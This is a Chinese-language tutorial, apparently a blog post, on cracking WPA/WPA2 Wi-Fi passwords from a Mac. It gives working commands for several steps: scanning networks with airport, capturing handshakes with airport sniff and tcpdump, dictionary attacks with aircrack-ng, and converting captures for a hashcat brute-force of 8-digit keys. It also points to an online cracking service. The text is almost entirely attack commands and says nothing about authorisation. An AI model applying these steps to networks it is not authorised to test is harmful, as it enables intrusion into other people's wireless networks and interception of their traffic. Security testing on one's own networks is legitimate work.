macOS 安裝aircrack-ng

• macOS系統版本
• 1，安裝和更新aircrack-ng
• 2，查看 aircrack-ng版本
• 3，查看附近wifi
• 4，抓包
• • 4.1，macos mojave airport sniff 報錯
• 5，跑字典
• 6，安裝hashcat
• 7，安裝hashcat-utils
• 8，cap 轉 hccapx
• 9，hashcat破解密碼
• • 9.1 hashcat 規則破解密碼
• 10，在線HASH CRACK

macOS系統版本

sw_versProductName: Mac OS X ProductVersion: 10.13.6 BuildVersion: 17G65

1，安裝和更新aircrack-ng

brew search aircrack-ng brew install aircrack-ng brew upgrade aircrack-ngsudo chown -R $(whoami) /usr/local brew link aircrack-ng$ which aircrack-ng /usr/local/bin/aircrack-ng

2，查看 aircrack-ng版本

brew info aircrack-ng

aircrack-ng: stable 1.5.2 (bottled)

3，查看附近wifi

sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airportairport -s

4，抓包

sudo airport en1 sniff 1

en1 無線網卡名稱
1 破解Wi-Fi信道CHANNEL

aircrack-ng /tmp/airportSniffxNVV5o.cap | grep 1B:42 aircrack-ng airportSniffxQnNSI.cap | grep "1 handshake"

WPA (0 handshake) 0沒有抓到握手包
WPA (1 handshake) 1成功抓到握手包

4.1，macos mojave airport sniff 報錯

• ?系統版本

$ sw_vers ProductName: Mac OS X ProductVersion: 10.14.4 BuildVersion: 18E226

• 報錯 Segmentation fault: 11

$ sudo airport en1 sniff 1 Capturing 802.11 frames on en1. Segmentation fault: 11

• 使用tcpdump 抓包

# 斷開wifi的連接 $ sudo airport -z # Wi-Fi對頻道1進行嗅探 $ sudo airport -c1 $ sudo tcpdump "type mgt subtype beacon and ether src e4:f3:f5:33:11:22" -I -c 1 -i en1 -w beacon.cap tcpdump: listening on en1, link-type IEEE802_11_RADIO (802.11 plus radiotap header), capture size 262144 bytes 1 packet captured 113 packets received by filter 0 packets dropped by kernel # Got為0等待Wi-Fi被連接 $ sudo tcpdump "ether proto 0x888e and ether host e4:f3:f5:33:11:22" -I -U -vvv -i en1 -w cap.cap tcpdump: listening on en1, link-type IEEE802_11_RADIO (802.11 plus radiotap header), capture size 262144 bytes Got 0 # Got為4當wifi被連接時成功抓取握手包 $ sudo tcpdump "ether proto 0x888e and ether host e4:f3:f5:93:1b:42" -I -U -vvv -i en1 -w cap.cap tcpdump: listening on en1, link-type IEEE802_11_RADIO (802.11 plus radiotap header), capture size 262144 bytes Got 4$ mergecap -a -F pcap -w handshake.cap beacon.cap cap.cap $ aircrack-ng -w dic.txt wifiCap/handshake.cap

5，跑字典

aircrack-ng -w pass.txt /tmp/airportSniffxNVV5o.cap aircrack-ng -w pass.txt -b e4:f3:f5:93:1b:42 /tmp/airportSniffxNVV5o.cap

6，安裝hashcat

brew search hashcat brew install hashcat

7，安裝hashcat-utils

git clone https://github.com/hashcat/hashcat-utils cd hashcat-utils/src/ make

8，cap 轉 hccapx

./cap2hccapx.bin /tmp/airportSniffxQnNSI.cap /tmp/output.hccapx MERCURY_1B44

9，hashcat破解密碼

hashcat -m 2500 /tmp/output.hccapx /root/pass.txt

9.1 hashcat 規則破解密碼

INFO: All hashes found in potfile! Use --show to display them.

刪除hashcat.potfile中內容

find / -name "hashcat.potfile"

-a 3 : 攻擊模式 3 = Brute-force（掩碼暴力破解）
?d?d?d?d?d?d?d?d : 8為數字破解 ，?d代表數字

hashcat -m 2500 -a 3 /tmp/output.hccapx ?d?d?d?d?d?d?d?d

10，在線HASH CRACK

• 在線HASH CRACK 上傳hccapx

參考：

aircrack-ng破解wifi

破解wifi 密碼（mac 版）

使用macbook破解WPA/WPA2 wifi密碼

Mac上跑wifi密碼方法 hashcat

使用Brew在Mac上安裝hashcat

Install Hashcat Utils

hashcat_utils

Hashcat manual: how to use the program for cracking passwords

密碼破解全能工具：Hashcat密碼破解攻略

Capturing WPA handshakes with OS X

Sniff - The good way with tcpdump

總結

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